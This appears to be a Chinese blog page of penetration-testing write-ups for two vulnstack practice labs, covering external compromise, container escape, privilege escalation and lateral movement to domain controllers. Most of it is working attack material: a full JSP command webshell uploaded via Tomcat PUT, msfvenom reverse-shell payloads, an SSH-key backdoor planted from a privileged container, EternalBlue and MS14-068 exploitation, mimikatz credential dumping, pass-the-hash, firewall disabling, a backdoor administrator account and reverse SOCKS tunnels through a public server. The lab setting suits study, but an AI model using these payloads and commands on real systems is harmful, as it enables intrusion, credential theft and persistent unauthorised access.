分类 内网渗透 下的文章

  • 环境配置


    项目地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/


    在 ubuntu 中启动 docker
    cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
    sudo docker-compose up -d
    cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
    sudo docker-compose up -d
    cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
    sudo docker-compose up -d
    
  • 外网部分


    • s2-045 存在文件上传

      天融信那个没有,k8的没反应,于是手动发包。
    • tomcat CVE-2017-12617

      可以直接用 PUT 方法写入文件,msf 有脚本一键打(不过这个 shell 很难受)
      image-20220202080756883
      于是手动发包传一个 jsp 上去
      PUT /shell.jsp/ HTTP/1.1
      Host: 192.168.157.132:2002
      User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      Cookie: phpMyAdmin=33ae53ca410bc8c12a08b825b08a3b7f; pma_lang=zh_CN
      DNT: 1
      Connection: close
      Upgrade-Insecure-Requests: 1
      Cache-Control: max-age=0
      Content-Length: 750
      
      <%@ page import="java.util.*,java.io.*,java.net.*"%>
       <%
       %>
       <HTML><BODY>
       <FORM METHOD="POST" NAME="myform" ACTION="">
       <INPUT TYPE="text" NAME="cmd">
       <INPUT TYPE="submit" VALUE="Send">
       </FORM>
       <pre>
       <%
       if (request.getParameter("cmd") != null) {
               out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
               Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
               OutputStream os = p.getOutputStream();
               InputStream in = p.getInputStream();
               DataInputStream dis = new DataInputStream(in);
               String disr = dis.readLine();
               while ( disr != null ) {
                       out.println(disr); disr = dis.readLine(); }
               }
       %>
       </pre>
       </BODY></HTML>
      
    • phpMyAdmin文件包含

      image-20220201225203044
      包含 sql 执行操作时生成 cookie 对应的 session 文件,即可达成任意文件写
      image-20220201230517040
       
  • 拿下 web 服务器


    弹一个到 msf 的马
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.131 LPORT=6666 -f elf > shell_6666.elf
    

    python 起一个 http 服务器远程把马 down 下来后执行。(别忘了加执行权限)
    两种思路:一个是用 CVE-2019-5736 直接打(复现失败了),另一个是用 –privileged 特权模式逃逸,这里说一下第二种。
    判断是否在 docker 中
    ls /.dockerenv 
    回显:/.dockerenv
    

    判断是否是特权模式
    cat /proc/self/status | grep CapEff
    CapEff对应的掩码值应该为0000003fffffffff
    

    查看磁盘文件并挂载
    fdisk -l
    mkdir /test
    mount /dev/sda1 /test
    

    本地生成私钥
    ssh-keygen -f hack
    chmod 600 hack
    

    创建 key.sh 并上传
    cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
    echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHHyGclk2ax0r++36xUO8eHqMFEhAmCILoIJqO3R61Aua7f45BJMMKFNYZGKusPfldVXk2pf+XUU46VwQzxi5Kj2F0PTFMQZyOWoFPP0uXETb5LjrM2CBqz65hfSjeMLq4RblcawjadmjHQVFwXnxqpQ+PxLUOFhT45GTbGKqZFOFlS1FRDswxFr8NO8UXcT9+k1XD5ZrowfNr/FlC8NkgXA1h0a2KiD1N5PMvoF0Jb+B/z0kDGzjoNUAtsj+d31AyNius+xyoRsgPn8KQo3oVMAv/deshrxMWF18HzercJtY4PnzLvIjj9F77+em/tFDx/tMcCOJ8EgDm1eolghNmLEHhwyTfguSMLts69FpE8b85UVc07ontWRDGu12MeIsJI9t7CmMIDc2kLwmYcZSE9eXUgfmxkewNbEjTjvI2iiARDmSnCY2LD4LMiZewQtgF5g5QJF9CcfdThY1VY0jPPDtIYF5VxsZ/Ndm4m9o/EzwxXh0WYs/2+RacYgPH7K0= root@kali' > /test/home/ubuntu/.ssh/authorized_keys
    cat /test/home/ubuntu/.ssh/authorized_keys
    

    最后直接用 ssh 链接就可以了
    ssh -i hack ubuntu@192.168.157.132
    

    image-20220202130201145
    然后就可以为所欲为了
  • 横向移动


    先在 msf 中上线,添加 ew 代理
    image-20220202130800401
    msf 中设置路由转发,并执行存活扫描
    run autoroute -s 192.168.183.0/24
    run autoroute -p
    或 set proxies socks5:192.168.157.132:1080
    存活主机:
    use auxiliary/scanner/portscan/tcp
    set rhosts 192.168.183.0-255
    set threads 10
    run
    

    永恒之蓝一发入魂
    use exploit/windows/smb/ms17_010_eternalblue
    set payload windows/x64/meterpreter/bind_tcp
    set rhost 192.168.183.129
    set lport 4444
    set AutoRunScript post/windows/manage/migrate             // 自动迁移进程
    run
    

    image-20220202141340865
    开始攻击域控,这里直接拿到了 system,net user /domain 权限受限,选择切换到域用户中。
    ps   找域用户的进程
    steal_token 1560
    

    image-20220202142831550
    先用 mimikatz 抓一下密码 (其实这里直接翻 ubuntu 的历史命令信息就能拿到密码)
    rev2self     回到 system 权限
    load kiwi
    kiwi_cmd sekurlsa::logonpasswords
    

    image-20220202144646321
    ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
    

    然后用 mimikatz 传递票据
    kerberos::purge      清除票据
    kerberos::ptc TGT_douser@demo.com.ccache
    

    然后查看一下域控的 c 盘,成功
    dir \\WIN-ENS2VR5TR3N\c$
    

     

 

  • 环境搭建


    • 网络配置


      两块虚拟网卡,分别为52和72。
      kali:192.168.52.130
      win7(web服务器):192.168.52.132(连外网)192.168.72.128(连内网)
      win2K3(域中服务器):192.168.72.130
      win server(域控):192.168.72.129
      然后将win7的第二块网卡(72)的dns地址设置为域控的地址
    • 启动服务


      默认密码hongrisec@2020,在win7中启动phpstudy
       
  • 攻击web服务器


    nmap扫描发现80和3306开放,dirsearch扫描发现phpmyadmin,存在root/root弱口令可直接登入。
    攻击方式有很多,这里只采用数据库写马的方式。
    查看权限:show variables like '%secure_file%';
    (发现secure_file_priv的值为NULL,不能用into outfile的方式直接写马
    

    尝试用log写马:
    show variables like 'general%';(查看当前log的目录)
    set global general_log_file = "C:/phpStudy/www/1.php";(指定日志文件)
    SELECT ''(写马)
    

    然后用蚁剑连接。
    连接后首先查看防火墙状态并关闭
    • 关闭防火墙

      windows server 2K3 之前的版本
      netsh firewall set opmode disable
      

      之后的版本:
      netsh advfirewall set allprofiles state off
      
    • 查看防火墙配置
      netsh firewall show config
      
    • 修改防火墙配置
      windows server 2K3 之前的版本,允许指定程序全部连接:
      netsh firewall add allowedprogram c:\nc.exe "alloc nc" enable 
      

      windows server 2K3 之后的版本,允许指定程序进入
      netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
      

      允许3389端口放行:
      netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
      

 

  • 后渗透阶段


    • 信息收集


      whoami
      hostname
      net user
      ipconfig /all
      net localgroup
      administrators
      系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
      系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
      查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%
      tasklist    或   wmic process list brief(查询进程)
      

      常见杀软的进程
      进程名软件
      360sd.exe360 杀毒
      360tray.exe360 实时保护
      ZhuDongFangYu.exe360 主动防御
      KSafeTray.exe金山卫士
      SafeDogUpdateCenter.exe安全狗
      McAfeeMcShield.exe
      egui.exeNOD32
      AVP.exe卡巴斯基
      avguard.exe小红伞
      bdagent.exeBitDefender

      (域信息收集见vulnstack2)
      ps:
      在域信息收集中,如果出现拒绝访问错误,是因为权限不够,需要先提权再进行查看。
      

       
    • 用CS进行后渗透


      设置监听

      然后选择attack中的package中的windows excutables(s),用刚才新建的listener接收shell。
      生成后用蚁剑传到www目录下,在终端中直接运行即可。
      连接后默认的sleep为60s,这里为了方便将其设置为sleep 0。
    • 用msf进行后渗透


      先用msfvenmo生成木马
      msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.52.130 LPORT=1234 -f exe -o run—_1234.exe
      

      在msf中设置监听
      use exploit/mutli/handler
      set payload windows/x64/meterpreter_reverse_tcp
      set lhost 192.168.52.130
      set lport 1234
      run
      

      同样用蚁剑上传马,运行后接收到反弹的shell
      meterpreter生成的进程不稳定容易掉,这里需要进程迁移
      ps(查看主机正在运行的进程)
      getpid(查看meterpreter shell的进程)
      migrate 1416(将shell进程迁移到explorer.exe中)
      或者用自动迁移进程命令:
      run post/windows/manage/migrate
      关闭防火墙命令:
      run post/windows/manage/enable_rdp
      
    • 各种提权方式


      • meterpreter提权

        getsystem一键提权
        
      • 发现缺失补丁

        wmic qfe get Caption, Description, HotFixID, InstalledOn(列出已安装的补丁)
        


        发现没有安装KB3139914补丁(MS16-032),可以利用msf进行提权
        还可以利用msf发现缺失补丁
        use post/windows/gather/enum_patches
        set SESSION 3
        run
        


        use post/multi/recon/local_exploit_suggester
        set LHOST 192.168.52.130
        set SESSION 3
        run
        


        显然,这台靶机是个筛子。。。
      • 利用cs自带的Elevate提权

        右击沦陷主机,在Access中选择Elevate(需要新建listener),可生成一个system权限的主机。
      • 使用mimikatz抓取密码

        run hashdump(获取密码的hash值,虽然感觉没什么用)
        

        使用mimikatz的前提:将meterpreter进程迁移到有system权限的64位进程
        ps
        migrate PID
        load mimikatz
        mimikatz_command -f sekurlsa::searchPasswords
        


        或者用kiwi
        load kiwi
        creds_all
        


         
  • 横向移动


    • 搭建隧道


      在进行横向渗透前,先将该web服务器配置为代理服务器当作跳板机。
      • 直接用msf搭建sock隧道

        在session中自动创建路由并使用proxychains代理(不过过了一会就莫名断了)
        run post/multi/manage/autoroute
        run autoroute -p
        background
        use auxiliary/server/socks5
        run
        可用jobs查看任务是否执行
        

        然后配置proxychains.conf,端口都设置为1080
      • 搭建SSH隧道绕过firewall直连3389端口

        192.168.52.1上执行:
        ssh -CfNg -L 1153:192.168.52.129:3389 root@192.168.52.130(转发)
        在meterpreter中开启3389:
        run post/windows/manage/enable_rdp
        rdesktop 192.168.52.1:1153
        
      • 用ew做转发(推荐)

        先把ew传到web服务器上,实验环境中直接在web服务器上做正向代理即可
        在win7上运行:
        ew_for_Win.exe -s ssocksd -l 2080
        然后在kali上修改/etc/proxychains
        添加socks5 192.168.52.132(win7重启了一次,ip地址发生变化)
        

        在真实渗透环境中,需要通过公网服务器进行转发:
        1.在公网vps上执行:
        ./ew_for_linux64 -s rcsocks -l 2080 -e 2024 &
        2.在目标机器上执行
        ew_for_Win.exe -s rssocks -d 1.116.196.115 -e 2024
        3.在本地kali上添加proxychains规则,连向1.116.196.115 2080
        
    • 内网信息收集


      使用msf内置模块
      auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
      auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
      auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机
      auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
      auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
      auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
      auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
      auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
      auxiliary/scanner/http/title                 #探测内网http服务的标题
      auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
      auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
      auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
      auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
      auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
      auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
      auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
      auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字
      

      使用nmap+代理扫描:
      proxychains nmap -Pn -sT 192.168.72.130   
      
    • 利用已知漏洞攻击


      ms17-010(445)和 ms19-0708(3389),在msf中使用proxychainsdaili
      set proxies socks5:192.168.52.132:2080
      

      然后可尝试使用ms17-010对win2K3和域控进行攻击(因为msf的对应模块出bug所以没有演示)
      这里仅尝试用ms17-010添加管理员用户并尝试用3389登录
      use auxiliary/admin/smb/ms17_010_command
      set rhosts 192.168.72.130
      set command net user moonflower 1qaz@WSX /add(添加用户)
      run
      set command net localgroup administrators moonflower /add(把用户添加到管理员组)
      run
      set command net localgroup administrators(查看管理员组)
      run
      set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'(打开3389端口)
      run
      

      利用代理可用成功登录到计算机(但无法登录到域中)

      同理也可以用来攻击192.168.72.129(域控)
  • 利用ipc连接域控


    建立ipc$连接
    net use \\192.168.72.129\c$ "1qaz@WSX" /user:"Administrator"
    可以查看域控的目录:
    dir \\192.168.72.129\c$
    
  • hash传递攻击


    前面用mimikatz抓取了域管理员administrator的hash,在没有明文密码的情况下,可用使用hash传递攻击
    mimikatz中运行:
    sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:161cff084477fe596a5db81874498a24